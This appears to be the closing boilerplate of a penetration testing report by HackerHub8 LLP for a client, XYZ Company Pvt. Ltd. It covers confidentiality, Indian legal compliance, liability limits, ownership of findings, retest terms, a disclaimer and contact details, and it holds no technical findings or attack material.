HackerHub8 LLP acknowledges that all information, systems, applications, source code, credentials, configurations, logs, business processes, and data obtained or accessed during this Vulnerability Assessment and Penetration Testing (VAPT) engagement are strictly confidential. All such information shall be protected in accordance with HackerHub8 LLP's Information Security Management System (ISMS) and applicable contractual obligations.

HackerHub8 LLP shall not disclose, reproduce, distribute, or share any assessment findings, technical details, evidence, screenshots, or client information with any third party without the prior written consent of XYZ Company Pvt. Ltd., except where disclosure is required by applicable law or a competent judicial or regulatory authority.

All engagement data shall be handled in accordance with ISO/IEC 27001:2022 information security controls, ISO 9001:2015 quality management practices, and industry best practices for secure handling, retention, and disposal of confidential information.

Legal Compliance

The assessment was conducted solely under the scope defined in the mutually executed Rules of Engagement (RoE), Authorization Letter, and applicable contractual agreements. All testing activities were performed in good faith, within the agreed scope, and in compliance with applicable laws and regulations of India, including but not limited to:

- Information Technology Act, 2000 and applicable amendments
- Digital Personal Data Protection Act, 2023 (DPDP Act)
- CERT-In Directions issued under Section 70B of the Information Technology Act, where applicable
- Applicable RBI, SEBI, or other sector-specific cybersecurity guidelines (where relevant)
- ISO/IEC 27001:2022 Information Security Management System (ISMS) principles
- OWASP Testing Guide, PTES, NIST SP 800-115, OSSTMM, and CVSS v3.1 methodologies

No activity was performed outside the authorized scope or intended to cause unauthorized access, disruption, or damage to client systems.

Limitation of Liability

Penetration testing inherently involves controlled interaction with production or non-production systems and may carry limited operational risk despite extensive safeguards. HackerHub8 LLP exercised reasonable skill, due care, professional judgment, and industry-standard testing methodologies to minimize any potential impact on system availability, confidentiality, or integrity.

Except in cases of gross negligence or willful misconduct, HackerHub8 LLP shall not be held liable for indirect, incidental, consequential, or business interruption losses arising from authorized testing activities performed within the agreed scope.

Ownership of Findings and Intellectual Property

All vulnerability findings, technical evidence, assessment results, and security recommendations generated specifically for this engagement shall remain the confidential property of XYZ Company Pvt. Ltd.

HackerHub8 LLP retains ownership of its proprietary methodologies, testing processes, tools, templates, scripts, and reporting formats used during the engagement.

Neither party shall publish, reference, or use this engagement, associated findings, client identity, or report contents in marketing materials, case studies, press releases, or public communications without the prior written consent of the other party.

Remediation and Retest

Upon completion of remediation activities, XYZ Company Pvt. Ltd. shall be entitled to **one (1) complimentary verification retest**, provided the request is submitted within **60 calendar days** from the date of this report.

The retest shall validate the remediation status of all **Critical**, **High**, and **Medium** severity findings identified in this report. Any newly identified vulnerabilities, changes to the application or infrastructure outside the original assessment scope, or additional testing requests may require a separate engagement and commercial agreement.

The retest report will document the remediation status as **Resolved**, **Partially Resolved**, or **Not Resolved**, together with any residual risks or observations identified during validation.

Disclaimer

It is not possible to completely guarantee the security of any network, system, or application. This report does not constitute, and should not be interpreted as, a guarantee of the ongoing security of the tested systems and applications.

Findings reflect the security posture of the in-scope assets at the specific point in time testing was conducted (06–17 July 2025). Any changes made to the application or infrastructure after this period may affect the validity of the findings herein. Some risks reported as high from a technical standpoint may be assessed differently from a business-risk perspective by the client's management; HackerHub8's ratings reflect technical severity per CVSS v3.1 and are provided to inform, not replace, the client's own risk-acceptance process.

Remediation is expected to be applied consistently throughout the application and infrastructure — not only at the specific instances documented — since similar coding or configuration patterns often recur elsewhere in the codebase.

Contact Us

Please contact HackerHub8 LLP with any questions regarding the findings, analysis, or recommendations contained in this report.

Contact	Details
Office	MIG A/12, JM Road, KHB Colony, Bijapur, Karnataka, 586104
Phone	+91 96069 69233 / +91 82772 69695
Support Email	support@hackerhub8.in
Website	www.hackerhub8.in
Engagement Lead	Aditi Rao — aditi.rao@hackerhub8.in
Practice Head	Rohit Malkani, CISA — rohit.malkani@hackerhub8.in

Let's Secure the Future Cyber-World Together.

ISO 9001:2015 | ISO/IEC 27001:2022 Certified • Built with Purpose. Secured with Passion. Inspired by Innovation.